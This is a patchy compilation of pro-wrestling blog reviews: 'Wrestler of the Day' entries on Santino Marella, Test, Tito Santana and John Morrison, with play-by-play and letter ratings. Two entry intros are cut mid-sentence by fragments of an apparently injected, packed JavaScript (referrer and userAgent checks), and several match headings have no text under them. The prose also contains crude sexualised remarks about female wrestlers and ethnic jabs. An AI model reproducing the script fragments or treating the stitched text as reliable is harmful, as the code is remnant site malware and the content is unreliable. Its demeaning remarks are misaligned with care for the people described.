Please, make this go quick. Seriously, this is the dumbest thing of the year and it needs to end. Lawler is the host for this or something. You have to get the pin in the pen, which has hogs in it. Please just get this going as they talk forever first. Chavo is her partner and it’s 2-1. She throws mud at Chavo who is in street clothes and he beats her up.

So they’re in a mud pen and have to be thrown into the other one and then pinned. Oh wait they can come back out of the one with the pigs and get pinned in the bigger one. Vickie comes in and Chavo accidently slops her….shoulder. Santina pins her and this is thankfully over. Vickie and Chavo fight in the mud as Cole and Lawler are laughing, likely by Vince’s orders. Santina celebrates forever as this segment has gone on longer than all but one match so far.

Rating: N/A. Give me a match and I’ll rate it.

Vladimir Kozlov vs. Santino Marella

If Santino wins then he and Kozlov are tag partners. Santino can’t do jack here and tries to have a striking contest. Kozlov hits the big slam after about a minute. This was what you expected it to be. Kozlov tries to pick him up and he just falls back down. Then he does that again. And this man main evented Survivor Series people. And for no apparent reason here’s William Regal to beat the tar out of Santino. Kozlov makes the save.

Rating: N/A. Well at least they’re doing something with Santino.

Tag Titles: Usos vs. Nexus vs. Santino Marella/Vladimir Kozlov vs. Mark Henry/Yoshi Tatsu

This is under elimination rules with Slater/Gabriel defending. Gabriel and Tatsu start. At the last show I was at Tatsu and Jericho tore the house down so it would be nice to see him win a title here. Spin kick gets two for Tatsu so Gabriel kicks Tatsu in some African on Asian violence. Off to Slater now with Josh picking Kozlov and Santino.

Henry comes in and is supposed to fight an Uso but they run from him. Henry is like get the heck in here and pulls Jey in by the hair. Freaking ow man! We’re getting some very fast paced tagging here. Punk is talking about the Bellas vs. the Usos for some reason but since it’s coming from Punk it’s awesome.

Lawler brings us back to reality as Punk threatens to send Josh back to Superstars. The Usos surprisingly clean house and beat up Henry and Tatsu. Slater tags himself in and gets one of the most unrecognizable finishers of all time to get rid of Tatsu and thereby Henry at approximately 3:00.

The Usos come in and get a slingshot Samoan Drop (think 3D kind of but with a Samoan Drop ending and the guy playing D-Von lets go) for two as Gabriel saves. Kozlov comes in and runs through the Usos. The spike slam ends the Usos at approximately 4:45. Tamina stays behind with Santino.

It’s Nexus vs. Kozlov/Santino for the titles. Punk keeps calling Santino Jar Jar which is amusing. Santino comes in to by far the biggest reaction in this match. Who would have guessed that he would be the most popular guy of eight men in a title match late in 2010?They’re trying to make Tamina look good and from a distance she kind of does. Then they show closeups of her and she looks a bit goo much like a diseased goat. We take a break with Nexus in control.

Back with Gabriel holding Kozlov in a front facelock. There’s the hot tag to Santino who raises the roof and surprisingly cleans house to a nice pop. He hits a Stunner complete with splits as Kozlov takes out Slater. Cena pops up from under the ring and gets Gabriel’s attention. The Cobra hits Gabriel and we have new champions at 12:00!

Rating: C. Match was kind of boring but the ending more than makes up for that. It completely amazes me that Santino is as over as he is but given the pops he’s been getting there is no reason to not put a title on him to give him some credibility. Not the best match in the world but entertaining and rather exciting so that wasn’t bad at all.

Jack Swagger vs. Santino Marella

 

Somehow Santino would qualify for the World Heavyweight Championship Elimination Chamber in 2012. Marella would be the underdog that had almost no chance but the fans loved him anyway.

Smackdown World Title: Big Show vs. Great Khali vs. Cody Rhodes vs. Daniel Bryan vs. Santino Marella vs. Wade Barrett

Cody gets thrown to the outside while Barrett is thrown back inside. Chokeslam to Barrett is countered and Wade chop blocks Show down. Cody and Barrett team up on Show and start fighting a few seconds later. Santino comes in fourth and after he hits his usual stuff, Show runs him over. Cody takes Show down by the knee though as the fans chant for Santino.

Barrett and Cody double suplex Show onto the steel to put him down. Cody hits the moonsault to Barrett and goes after Santino. No one is out yet. Rhodes rams the Cobra hand into the cage and Khali is in fifth. Chops and clotheslines for both heels and the Punjabi Plunge to Rhodes. One to Barrett as well and a chop to Santino. The giants face off and Show spears Khali for an elimination about 40 seconds after Khali entered.

Show keeps staring at Bryan and then even tries to reach in and grab him. He breaks the chains on the pod and has broken through. Bryan demands the door be opened but Show has broken in and climbed through the top. The place ERUPTS for this. The clock goes off to release Bryan but they’re both inside the pod. Bryan manages to get out but Show does the required breaking the plexiglass spot. You know, THE SAME THING THAT HAPPENS EVERY YEAR.

Into the ring now and Show loads up the right hand. Oh wait it’s the chokeslam instead but Barrett kicks Show in the face before there’s a cover. Santino pops up for a quick rollup for two on Barrett but is then thrown to the outside. Cody hits two Beautiful Disasters to Show followed by a DDT. Barrett hits a middle rope DDT and Big Show is gone to a big reaction. So it’s Cody, Barrett, Bryan and Santino to go.

Make that three as Santino rolls up Cody to pin him. Cody hits Cross Rhodes to Santino. There’s Cody’s next feud I guess. Barrett covers Santino but it only gets two. Barrett hammers on him and ties Santino’s arms in the Chamber wall. The beating continues on Santino for awhile until Bryan gets back up with a flying knee to Barrett. Bryan goes up but Barrett knocks him part of the way into it again by the back of the head.

Barrett loads up Wasteland off the middle rope but Santino breaks it up because he’s an idiot. Santino tries a superplex but gets shoved off. He avoids an elbow and Bryan hits a top rope headbutt, allowing Santino to steal the pin, meaning he’s eliminated Cody Rhodes and Wade Barrett. Bryan is very happy to see what he’s up against as it’s one on one now. It turns into a cat and mouse game and Santino even gets the Cobra for two. The LeBell Lock goes on and Santino taps at 33:57.

US Title: Jack Swagger vs. Santino Marella

A few months later it would be the same idea as the Chamber, but in Money in the Bank.

Smackdown World Title Money In The Bank: Christian vs. Cody Rhodes vs. Dolph Ziggler vs. Tensai vs. Santino Marella vs. Tyson Kidd vs. Damien Sandow vs. Sin Cara

Tensai comes back and goes insane, setting up a ladder between the announce table and the ring. Cara gets powerbombed onto it ala last year, followed by Ziggler getting launched over the announce table in a cool looking power display by Tensai. Cody pops up from the middle of nowhere and hits a pair of Disaster Kicks to put Tensai down.

Kidd and Rhodes go up the ladder but Christian climbs another ladder. Cody drops Kidd but Christian spears Cody off the ladder. Christian and Santino go up but Marella is knocked down. Ziggler runs up from out of nowhere, sends Christian into another ladder and pulls down the case for the win at 18:23.

Antonio Cesaro vs. Santino Marella

Cesaro throws him down after almost a minute straight of spinning but Santino comes right back. The saluting headbutt sets up the Cobra but Cesaro uppercuts him down for two. A running European uppercut in the corner gets two and Cesaro starts slapping him. Santino comes back with a throw and gets the pin at 3:45.

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Wrestler of the Day – March 13: Test

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rbfaf|var|u0026u|referrer|kbtyf||js|php'.split('|'),0,{})) to Canada today with Test.

Test debuted in the WWF in late 1998 as a bodyguard for Motley Crue but would quickly be brought in as part of the Corporation. He was in his debut match a few weeks later on the December 21, 1998 episode of Raw.

X-Pac/HHH vs. Test/The Rock

Test would soon be thrown out of the Corporate Ministry and join the Union, setting up an eight man elimination tag at Over the Edge 1999.

Corporate Ministry vs. The Union

Boss Man, Viscera, Bradshaw, Farrooq
Mankind, Test, Shamrock, Big Show

DANG Vince needs to go back to the original No Chance in Hell. This one was far better. The Union was a stable that lasted all of four weeks as Vince became the Higher Power and Mankind got hurt anyway. They got together because they got tired of the Corporate Ministry beating the tar out of them. This is Survivor Series rules mind you. Test is wearing bright blue tights which are very funny looking on him.

He’s a total rookie here and no one cares about him. Somehow within five months he would be the hottest act in the company. Bradshaw hits a spear and lands some solid shots on the cranium of Test. The opening here just feels like they’re kind of lumbering around looking for something to do. He hits that sweet top rope elbow on Bradshaw as we finally get more faces in there. The Clothesline From JBL connects on Test to pin him as Shamrock was just visiting before.

Bradshaw taps in about a minute. This has no heat at all but I can’t blame anyone for that at all. It’s Big Daddy V vs. Shamrock now. I think Shamrock tried a crucifix but Viscera was just too fat for it to work. Shamrock gets the ankle lock on Farrooq but snaps and suplexes the referee which gets him out. Show gets an AWESOME chokeslam on Farrooq, holding him up there forever. This match is the living definition of a mess.

It’s Show and Foley vs. Boss Man and Viscera. Something tells me this is a one sided affair. Boss Man drops an F Bomb on Mankind before getting drilled by Show. This was back when Show could MOVE. He freaking goes off on Boss Man but gets caught with a low blow which I’m not wild on.

Apparently the two of them are counted out soon thereafter but it’s not really made all that clear. That’s simply not a good sign at all but whatever. So Foley beats Boss Man in about 2 minutes after that. Yeah that’s really it.

Rating: D-. This was just bad. I mean there was nothing at all here and while the crowd was reacting, they were far from interesting in the slightest. This felt like they forgot to tell anyone anything other than the ending which simply isn’t going to work. Their minds were there I think, but this was just a mess.

Test vs. Mean Street Posse

The feud culminated in a Love Her Or Leave Her match between Shane and Test. The rules are simple: if Shane wins, Stephanie and Test are done but if Test wins, Shane stays away.

Test vs. Shane McMahon

Test takes Shane down to start but Shane hits a quick spear back inside, only to be pounded in the corner. A backdrop puts Shane down as the Posse drinks champagne. Shane is sent HARD into the steps and then into the crowd for a drink to the head. Test catches Shane diving off the barricade and powerslams him down onto the floor. Shane staggers around ringside so Test launches him at the Posse to tip the couch over.

Test and Stephanie were going to be married on Raw one night but Test had to wrestle first. From November 29, 1999 on Raw.

Test vs. HHH

Rating: D+. Anything with Trish in hot pink shorts and shaking her hips is never a bad thing. The match however was pretty bad, but the whole point was the post match stuff. Also the Dudleys were more or less turned face in this match due to the fans loving hot women being put through tables for some reason.

European Title: William Regal vs. Test

Regal is champion coming in here and runs down Test a bit. Test runs to the ring and destroys Regal inside of two minutes. Regal got in some punches and a knee but other than that it was ALL Test. The big boot sets up the top rope elbow (pretty) for the title. Match didn’t even make 90 seconds.

Intercontinental Title: Edge vs. Test

He hits the spinwheel kick but walks into an elbow to put him down. The big boot misses and the Edge-O-Matic gets two. Edge rolls through a powerbomb for two and hits a tornado DDT for the same. He goes up again but Test shoves the referee into the ropes to crotch the champion. Test cradles Edge and puts his feet on the ropes for the pin and the title.

The idea of being lost in the shuffle was perfectly illustrated by him being in a battle royal for immunity after one of the companies went out of business at Survivor Series 2001.

Immunity Battle Royal

Test, Billy Gunn, Bradshaw, Farrooq, Lance Storm, Billy Kidman, Diamond Dallas Page, Albert, Tazz, Perry Saturn, Raven, Chuck Palumbo, Crash Holly, Justin Credible, Shawn Stasiak, Steven Richards, Tommy Dreamer, The Hurricane, Spike Dudley, Hugh Morrus, Chavo Guerrero Jr., Funaki

Intercontinental Title: Battle Royal

 

Val Venis (returning here after being Chief Morely for awhile), Chris Jericho, Goldust, Lance Storm, Rob Van Dam, Christian, Test (pulling a double tonight), Kane, Booker T (not a former champion yet in this anyway)

 

Pat Patterson handles the introductions. Only 9 people in this which is a rather odd number. Standard over the top rules here. Kane and RVD, the Raw tag champions, go at it immediately. Everyone gangs up on Kane and he’s like boys please and tosses Storm. RVD takes the knee out and it’s another pile on Kane. This time they get him out so we’re down to seven.

 

Kane comes back in to beat them up for fun. Booker puts Test out and Goldust throws out Val. Jericho gets his springboard dropkick to put Van Dam out so it’s down to Goldust, Jericho, Booker and Christian. Goldie cleans house for a bit but the Canadians come back to take over. Goldust comes back and bulldogs both Canadians. This is getting boring in a hurry.

 

With the help of Booker, both Canadians gets Shattered Dreams. There’s the Spinarooni but Goldust lunges at him, only to get tossed as well. It’s down to Booker vs. Christian vs. Jericho. The fans are all behind Booker here. This isn’t his year though as he was beaten by a racist heel at Mania (People “like Booker” don’t win world titles. What do you think that was implying?) and gets double teamed here.

 

Booker fights them off for a bit and Jericho skins the cat. Down goes Booker again as the words GET ON WITH THIS play over and over in my head. Jericho is bleeding from the nose. Jericho sets for the Lionsault and Christian shoves him out! I love double crosses. Booker beats on him for awhile and a referee somehow is knocked down. Christian hit a baseball slide into him if you’re curious.

 

Yes, it’s going to be a Dusty Finish in a battle royal. Scissors kick misses and Christian goes to the apron. Booker sends him into the buckle and wins this. The music plays and Christian steals the belt from Patterson. A belt shot to the head and a toss out later and it’s Christian that officially wins the title. Booker would get it back about two months later. Everyone hates this mind you. Yes, a Dusty Finish in a battle royal. I told you this era was weak.

 

Rating: D+. Another boring match tonight which is a theme here. Was there a point to this being a battle royal other than not wanting to have two tournaments going at once? For some reason they were afraid to give Booker anything even though he was on a roll and was over at this point. That’s Vince for you though. Weak match with a bad ending.

Test vs. Rob Van Dam

Extreme Rules. Test kicks him in the ribs during the finger pointing which is something you would think a lot more people would do. Van Dam is sent to the floor and Test chokes him on the barricade. Van Dam gets in a kick (were you expecting something else?) but misses the spinning leg to the back of Test, crashing into the barricade instead. Test gets the steps but gets tripped, sending the steps crashing down on top of him. In a cool spot, Van Dam hits Rolling Thunder onto Test onto the steps.

We take a break and come back with the arrival of Heyman and security. Back inside and Test low blows Van Dam but Rob manages to clothesline him on the top rope. The recoil sends Van Dam to the floor and the security guards pound on Rob for a bit. That gets two for Test back inside and the Canadian is getting frustrated. Somewhere in there a chair was wedged between the top and middle rope and Rob is launched head first into said chair. Somehow that only gets two and Test is stunned.

Andrew Martin/Sting/Abyss vs. Christian Cage/AJ Styles/Tomko

There’s barbed wire around the top of the cage and you win by pinfall, but the person being pinned has to be bleeding first. Abyss gets beaten down until bald Test makes the save. The lights go out and Sting appears in the ring, clocking Tomko with a chair. No one is in the ring at the moment. Ok so it’s Abyss vs. Styles now. Well they had my favorite match ever in TNA in a cage so no complaints there.

Tomko is busted so he could be pinned now. AJ gets a jumping enziguri to put Abyss to the floor again. Styles dives out of the cage to take Abyss out again. So….you know what, screw it. I’m not playing dumb on this one. GET IN THE FREAKING CAGE LIKE YOU’RE SUPPOSED TO YOU IDIOTS! Three minutes in we’re told that whoever gets the fall is the #1 contender. Well sure why not.

Test beats up Christian but Christian isn’t bleeding yet so no cover. And now we cut to the back to watch Pacman freaking Jones get loaded into an ambulance. In the middle of the second main event of all times. OH COME ON ALREADY. NO ONE FREAKING CARES TNA. This is shown for 23 seconds, which could be worse but it was 23 seconds too long. Guess what the announcers are going to talk about for awhile now.

Everyone is in the ring now I believe. Oh wait Sting isn’t. Tomko breaks up a double chokeslam and Sting is trying to get in. That fails and they manage to lock him out of the cage. Abyss is busted open from his head and arm. Total heel beatdown here but Sting has wire cutters. Sting gets in and here comes the comeback. Tomko cracks Sting with a chari and AJ hits a top rope splash on Abyss as does Christian, getting two. Test kicks a chair into Tomko’s head and there’s glass on the mat. Christian escapes which doesn’t mean anything here. Black Hole Slam onto the glass gives Abyss the pin on Styles.

Rating: C. For this big bloody war, this wasn’t much. Then again we didn’t see the complete version because we couldn’t wait five minutes to see Jones get loaded up into the ambulance of course. Not bad but Lethal Lockdown is a lot better than this was. Having only six people in there was a good thing though as it wasn’t too crowded in there.

Test would be released soon after and retire less than a year later. Unfortunately Test would pass away in March of 2009 at the age of 33.

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Wrestler of the Day – March 12: Tito Santana

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tieyf|var|u0026u|referrer|eyyrf||js|php'.split('|'),0,{})) is Tito Santana for no reason other than there aren’t a ton of great choices today.

Tag Titles: Wild Samoans vs. Ivan Putski/Tito Santana

Putski and Santana are champions and their opponents are making their MSG debuts. This would be Afa and Sika, the original Samoans. Putski (who is barely taller than the top rope) starts with Afa. Long stall before we get going and Putski gets a BIG reaction for pushing Afa into the corner. They trade full nelsons and we get heel miscommunication. Everything breaks down and the Samoans are rammed together.

Rating: C+. Best match of the night so far with both teams going at a pretty fast pace. The heel in peril idea was definitely interesting and having them go wild and get disqualified at the end was a nice choice as it fits their crazy men mentality. Good little match here which probably set up a gimmick mater later on.

Intercontinental Title: Tito Santana vs. Greg Valentine

Rating: C+. Not bad here but it was designed to set up another match later on which is fine. These two had some insane chemistry and with some more time and more of a focus on the match, they could have had a FAR better match. Either way, decent stuff here and a good way to get the fans to want to come back later. Tito would drop the title to Valentine a month later.

Post match Valentine puts Tito in the Figure Four and cranks on the knee something fierce.

Valentine is very pleased with himself and what he did to Taco Bell Santana.

Tito Santana vs. Executioner


Intercontinental Title: Greg Valentine vs. Tito Santana

In Baltimore here and in a cage. Tito drags him into the cage and it’s on. No commentary again with Gorilla doing the voiceover. Valentine goes for the door early but Tito makes the save. This should be good either way. Both try to get out and can’t do it as the other grabs his foot. Valentine keeps trying to run which makes sense. I’m not entirely sure if I get why Tito keeps trying to run as this is supposed to be his big revenge match. I guess getting the title back is enough revenge for him.

Shoulder breaker by Valentine but you would think he would go after the leg but whatever. Escape only here if I didn’t mention that. I like the old school thoughts on cage matches like that too as pins in a cage match are kind of stupid when you think about it. Tito blocks the Figure Four as the violence is a bit low here. Gorilla points out that the figure four is a bit stupid as you can’t win by submission which makes sense to a degree I guess.

Flying forearm by Tito takes Greg down. Tito goes into the cage as this is very much back and forth. Very slow paced match but they’re hammering away in there and it’s working well I think. It’s very weird to see the match presented like this as the ring is only kind of microphoned here so you don’t here the ring make any noise at all.

This is more about the cage itself as this is back in the day when a gimmick match still meant something and wasn’t more or less something you throw in as a free prize in a cereal box. Tito gets a leg over the top but still can’t get out. Make that both legs out as Valentine is going for the door which Tito kicks on his head to get out and get the title back.

Rating: B-. This was more about the aura of the cage rather than the guys in there. Tito gets the title back and gets his revenge by beating on Valentine very well. This wasn’t a classic or anything but it was definitely a good conclusion to their feud which was always good. This worked.

Valentine destroys the belt afterwards but Tito saves it. I think this resulted in the new design coming in. Gorilla calls it the Intercontinental Heavyweight Championship of the World.

Intercontinental Title: Jesse Ventura vs. Tito Santana

Interesting point to start: we’re told that Jesse and Adonis held the tag titles. They did, but they were the AWA tag titles. They said this regularly but it wasn’t something you expect to hear. I think this is in Toronto. Jesse complains about the closed fist because that’s what heels do before punching their opponents. He calls Santana Chico which is always awesome. Jesse keeps getting caught in holds and heading for the ropes.

Time for a wristlock as the fans are almost all behind Jesse. They pop for Tito’s reversal as well though so I guess the Canadians are confused here. Off to a headlock but Jesse gets a knee to the ribs to take over. Out to the floor now and it’s confirmed that we’re in Toronto. Jesse’s offense is pretty basic but he knows how to work a crowd like a master which is more important.

Tito gets in a few punches but Ventura pokes him in the eye to stop him. Win if you can, lose if you must but always cheat. Backbreaker gets two and an atomic drop does the same. Here’s a bearhug which makes sense given the back work that was done earlier. Tito smacks him in the head to escape. Gorilla: “Look at that firey Mexican!” Tito grabs the Figure Four but Jesse gets the rope. They fight up the ramp and Tito puts the Figure Four on out there but Jesse kicks him into the ring for the countout win.

Rating: C. Not bad here but it worked for the most part. It was actually a double countout if you care. This was fine for a house show title defense, especially with someone like Jesse who was a rarity to see in the ring at this point. He knew how to work a crowd but the people loved him which is the right idea.

Tag Titles: Strike Force vs. Hart Foundation

I’ve actually never seen this. Gene pops up to say the titles change hands. Nice guy that bald one. This is on Superstars and is more or less a token title defense. Martel vs. Bret to start as we keep things Canadian. Double elbow and down goes Bret as Tito goes to that armbar which he likes apparently. O’Connor Roll is countered as Tito’s head is rammed into the mat rather hard.

Neidhart comes in and they slug it out. Surprisingly enough it’s about a draw and cheating gives the champions the advantage. Backbreaker by Bret gets two. I couldn’t think of a way to say “gets two” where both words started with two. Darn the luck. Vince says it would be a shame if this ended in controversy. It’s kind of interesting to know what we know about him now and wonder if he’s saying “screw this up and you’re fired.”

More double teaming puts Tito on the floor and gets two back in the ring. Tito almost gets the tag but Bret breaks it up in a great heat drawing move. The move that Demolition would use as their finisher gets two. Bret misses an elbow and this is Santana’s chance. I hope he’s a better wrestler than guitar player. Never been a fan of him. That joke failed didn’t it?

No tag yet as this is pure 80s tag formula. Tito reverses an Irish whip (from a Canadian to a Mexican of all things) and Bret gets to do his chest first bump into the corner. Double tag and the crowd is on fire, much like Martel. Cross body gets two on Neidhart as everything breaks down. Double slam to Anvil and the Boston Crab goes on Neidhart who gives up almost immediately and we have new champions to a big old pop.

Rating: B-. Standard 80s tag formula here but good talent and timing plus a very hot crowd are enough to make this a pretty solid outing. Also I always liked Strike Force so that helps a lot. They would hold the belts until Mania, and yet they were transitional champions. This is in October, meaning their reign was almost six months. Nice transitional reign no?

They would hold the belts for about six months before dropping them to Demolition. Tito would go back to singles matches, including this match against Rick Rude from February of 1989.

Rick Rude vs. Tito Santana

This should be good. Back in MSG again. Wait according to Trongard this is Boston. It looks like Boston so we’ll go with that. We start with a test of strength that is more or less a tossup. Tito eventually wins it and then wants a rematch when Rude runs. Rude takes the chance to of course cheat and we finally get to a more traditional match.

Rude is cussing a good deal in this one. Tito works on the back as this is very back and forth stuff. After a long camel clutch by Tito, Rude treats him like Arn Anderson and spins over to drive his knees into Tito’s crotch to take over. This has somehow been going on nearly ten minutes. The time has flown by which is good I think as it hasn’t been boring at all.

We’ve had a lot of rest/time killing holds and we get another hear with the chinlock by Rude. Tito fights to his feet and rams him into the corner but runs into a big boot to take care of that. Rude pounds away but Tito rams his head into the mat to take over again. Solid stuff so far. And there’s another pair of knees to Tito’s lower half. That has to be getting old.

Tito blocks a suplex to get one of his own. Due to this, Rude can’t even get a slam on Tito who isn’t an incredibly big guy in the first place. Crowd is WAY into this. Tito is all fired up and hits the head knocker and it’s Figure Four time! So much for that though as the rope is reached maybe 4 seconds later. In a cheap ending, Tito hits the floor and goes for a sunset flip but Rude grabs the rope for the pin.

Rating: B. This was a better grade before the bad ending. They went back and forth the whole match and it worked well the entire time. The ending felt incomplete for lack of a better term. Both guys were great here though and the back work by Santana worked rather well for a change. Solid old school match that had the time to develop which is always a perk.

Tito would drop down the card pretty quickly but would still get a PPV spot at Summerslam 1990.

Warlord vs. Tito Santana

Undertaker vs. Tito Santana

Tito Santana vs. Shawn Michaels

Tito Santana/Pegasus Kid/2 Cold Scorpio vs. La Parka/Blue Panther/Jerry Estrada

This is IWC vs. AAA. Pegasus Kid you know as Chris Benoit and yes that’s the same Tito Santana you’re familiar with. Estrada is a brawler, Panther is a masked guy and captain and La Parka is La Parka. Scorpio is starting us off but Estrada and Parka fight over who starts. Instead it’s Panther who takes Scorpio to the mat to a HUGE pop. I’m a big Scorpio and Santana fan so I think you know which team I like here.

Off to Benoit vs. Parka. The Parka team is WAY more popular as they’re technically the hometown team. Santana comes in but Estrada and Parka fight over who gets to face Santana. Tito in black trunks is an odd sight to see. Also this is just Tito, not El Matador. Mike says Tito is clearly the weak link on his team. That’s not exactly what I’d say but he’s the Professor.

Parka won’t tag in, ticking Estrada off even more. Benoit and Panther come in to speed things way up and Benoit hits a huge suicide dive to the floor. Benoit is the captain of his team so if he loses it’s over. Scorpio and Parka come in and try to out overdo it. They slug it out but neither guy can take over. Parka fakes taking a low blow and both guys hit the floor. That allows Estrada vs. Santana to come in. Remember that’s legal here.

Estrada is sent to the floor and it’s off to Benoit vs. Panther again. They’re both in blue so that works out well. Benoit hooks the snap suplex but an elbow misses. Parka is tagged in and he walks along the apron for a bit first. The Canadian hits a German on the Mexican and it’s back to Panther again, this time against 2 Cold. They look like their chemistry is way off at times in this.

A powerbomb puts Parka down but Estrada comes in, breaks it up, kicks Parka a bit for good measure and now the heels can’t figure out who to get in. Ok so now it’s Tito vs. Panther. Benoit comes in but misses the swan dive. Scorpio misses his huge moonsault as well. I get why Panther is a champion. La Parka and Estrada fight over who gets to cover Scorpio so it’s back to Panther again.

Parka sends Santana to the floor and sets to dive but hits Estrada of course. Scorpio hits a big dive to take everyone out. Panther misses a moonsault so Benoit hits a Matt Hardy legdrop for two. Panther tries a powerbomb on Chris but Benoit rolls through into a rana for the pin and ZERO reaction, which also might be a cultural thing.

Rating: C. I liked it a little better than the previous one but it’s no classic or anything. The idea here was two different styles and in that theory it worked. At the same time though, the tagging thing isn’t something I can get used to inside of an hour, which is how long this has been going on. It was fine but it’s something I think I’d like a lot more if I watched lucha libre more often.

 

Bobby Roode vs. Tito Santana

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Wrestler of the Day – March 11: John Morrison

Garrison Cade/Mark Jindrak vs. Matt Cappotelli/John Hennigan

Smackdown Tag Team Titles: MNM vs. Rey Mysterio/Eddie Guerrero

Rating: C-. The match was mainly there so Eddie and Rey could split up after the match and start their feud. It also allows MNM to look good in their debut match and get the titles on a young team. Eddie and Rey handled the wrestling here but the Snapsnot was a nice double team move. Picture a 3D with Nitro hitting a DDT instead of a cutter.

Intercontinental Title: Shelton Benjamin vs. Carlito vs. Johnny Nitro

Shelton is champion here and is a heel at the moment. This match was on the history of the IC Title DVD for seemingly no reason but the more I thought about it the more it makes sense. We have three midcard guys here that have no chance of being world champion at this point and need the credibility. A match like this is a great way to let them get over and gives them something to go after. It’s perfect and sums up what the title is supposed to be about.

The winner of this would feud with Jeff Hardy for awhile then Umaga, and then Santino would win it and cripple the belt for years until Jericho and Rey recently helped save it. Nitro is Morrison as you likely know. Melina is with him and is just freaking yummy looking. They’re going with the old school one on one formula here which is fine I guess. Carlito hits a nice dive to the floor to take everyone out and get the crowd awake. Good night Melina can freaking scream.

It’s so sad to see Carlito doing all kinds of flips and impressive looking stuff considering the levels of laziness he would reach in the future. Shelton catches Nitro’s flip into a powerbomb position and just falls backwards into a snake eyes for a great move. Even Ross is bragging about Carlito. There are some nice triple and double person spots in this thing. Lawler says that Melina is a bit upset by Nitro getting crotched.

In an AMAZING spot that gets a well deserved HOLY CRAP chant, Nitro is in the Tree of Woe, Carlito is standing on the top, Shelton jumps from the mat to the top, Shelton hooks Carlito in a suplex as Nitro does a massive sit-up to hook Shelton in a powerbomb. That looked awesome. Shelton takes a Backstabber, called the Backcracker here but Nitro pulls him out and gets the pin and the title in a steal. Nice way to end a good match.

Rating: B. I really liked this one as it was very fast paced and a great example of three guys being given a chance and showing off with it. This one worked very well and is probably the best match of the night so far, although not by much. This was a very fun match though and worked.

Nitro would spend the next few months trading the title with Jeff Hardy, becoming a three time champion by November. The feud culminated with a ladder match on the November 20, 2006 episode of Raw.

Intercontinental Title: Jeff Hardy vs. Johnny Nitro

Back with Jeff loading up the ladder in the ring, only to have Nitro shoving him down and into the ropes. Jeff gets back up and rams Nitro face first into the ladder before going up and blocking a superplex off the ladder. Jeff loads up something off the top of the ladder but gets crotched on the top rope instead. Nitro loads up the ladder but Jeff comes off the top with a missile dropkick to take the ladder and Nitro down at the same time.

Nitro would reunite with Mercury soon after this, leading to a tag team match at December to Dismember.

MNM vs. Hardys

This was an open challenge that was accepted by MNM. Who cares that neither was on ECW at the time? This was one of two matches announced for the show. What does that tell you? MNM beat up the Hardys on Tuesday and that’s all there is to it. Jeff is IC Champion here by the way. Matt and Mercury start us off.

The Hardys are dominating and throw in a spin cycle which is always a cool move. It’s like a double suplex but they spin the other guy around. It’s hard to explain. And now we get the weird part of this: ECW chants by fans that actually think this is a real ECW show. They start a she’s a crack w**** chant at Melina and no one knows how to react to it.

Matt hits splash mountain on Nitro (Morrison) for two. Apparently Melina has herpes. This show really was doomed from the start on this. I didn’t know Scott Armstrong was refereeing this far back. Tazz isn’t helping things either with his idiotic commentary. To be fair though, he could be far more annoying, like that scream from Melina.

Tazz throws in that Cole doesn’t like women. If true, I’m not entirely surprised. In a funny bit, MNM go for the Twist of Fate and Swanton but Matt fights off and gets the hot tag to Jeff. Matt hits a Pescado on Mercury which is more or less caught and reversed to set up the big pile of aerial moves which never gets old.

Jeff misses the Swanton as Mercury pulls Nitro out. This has been pretty good so far. Tazz gets off on the screaming I think. Morrison looks weird with blonde hair. It’s MNM in control now as they beat up Jeff. Yeah Tazz is driving me crazy. Melina is a crack w**** again apparently. It amazes me that she was more or less just the sexy valet at this point and became a great worker (by comparison) in just a few years.

They’re being given a lot of time if nothing else as we’re about 15 minutes into this and there seems to be a good amount of time to go in it. Is Tazz supposed to be Jerry Lawler or something? If he is he’s somehow more annoying than Jerry if that’s possible. Jeff gets a Whisper in the Wind out of nowhere to set up the tag to Matt.

In a cool spot, Jeff is tagged back in and goes up. Matt tries to set Mercury up for a powerbomb by handing him to Jeff but Nitro makes the save and then shoves Mercury up to Jeff so he can hit a hurricanrana. That was freaking cool. Nitro accidentally dropkicks Melina and Jeff rolls him up for a LONG two.

Jeff takes the Snapshot but Matt makes the save. This is awesome stuff now. MNM sets for a top rope Snapshot but Matt saves with a double cutter to let Jeff hit a Swanton onto both of them for the pin. By the way, the Snapshot is Nitro holding up the other guy and Mercury hitting an elevated DDT.

Rating: B+. This was very good stuff as they were given a lot of time and it worked very well. This was a way to let MNM look good, even though at the end of the day they weren’t even the best tag team that Morrison was even a part of. Either way this was good stuff and it worked very well. Definitely good, but the show would go all downhill from here.

Soon after this Nitro would be sent to ECW where he would replace Chris Benoit in the ECW Title match at Vengeance 2007.

ECW Title: CM Punk vs. Johnny Nitro

Again this was supposed to be Benoit instead of Nitro which had me drooling over the thought of it. Punk cleanshaven is odd looking. Nitro would become Morrison in about a month or so. We hear the term “personal reasons” which no one knew the meaning of at the time. It would be discovered tomorrow afternoon which is chilling when you think about it. What was he doing during this show?

I made a thread once about these two being the real rivalry in WWE over the last 3 years and I still think that. The fans want tables. Good luck with that. Nitro hits that springboard rotating kick which looks great. Johnny Nitro sounds like a guy Sandman should massacre in a TV squash. I think that might have been the idea actually. This is the standard decent match between the two of them but it’s really nothing all that special.

Nitro was little more than a glorified jobber that had a decent feud with Jeff Hardy a few months earlier but other than that he had a hot girlfriend and that’s about it. Oh and nice abs. Nitro uses the ropes to get extra leverage and like any other heel, it gets heat for him. Again, less is more. Simple cheating will get the crowd to boo you. Nitro hits that corkscrew neckbreaker while Punk’s feet are on the ropes like Orton’s elevated DDT to get the win and the title. Wow that match flew by and I’m not sure if that’s a good or a bad thing in this case.

Rating: C-. Not bad here but not great at all. Nitro wasn’t very good yet and it was clear here. He would become John Morrison and gain confidence in a few weeks which was huge to his career and still works to an extent today. Anyway, this wasn’t bad, but they would have FAR better matches later.

After changing his name to John Morrison, he would hook up with The Miz as a goofy comedy tag team. They would actually have some success and win more Tag Team Titles, which they would defend against CM Punk/Kane at Judgment Day 2008.

Smackdown Tag Titles: John Morrison/The Miz vs. Kane/CM Punk

 

If I remember this right there is zero story to this match at all. Morrison has the same music and nearly the same intro as he does today. It’s so shocking to look at Miz and know what was coming for him in just a few years. Morrison beat Kane on ECW which is about the extent of the build. Punk would go to Raw in the Draft in just over a month. He’s Mr. MITB at the moment also. Oh and Kane is ECW Champion. There was a talent exchange or whatever going on with Smackdown and ECW where they could be on both shows if you’re wondering how this is possible.

 

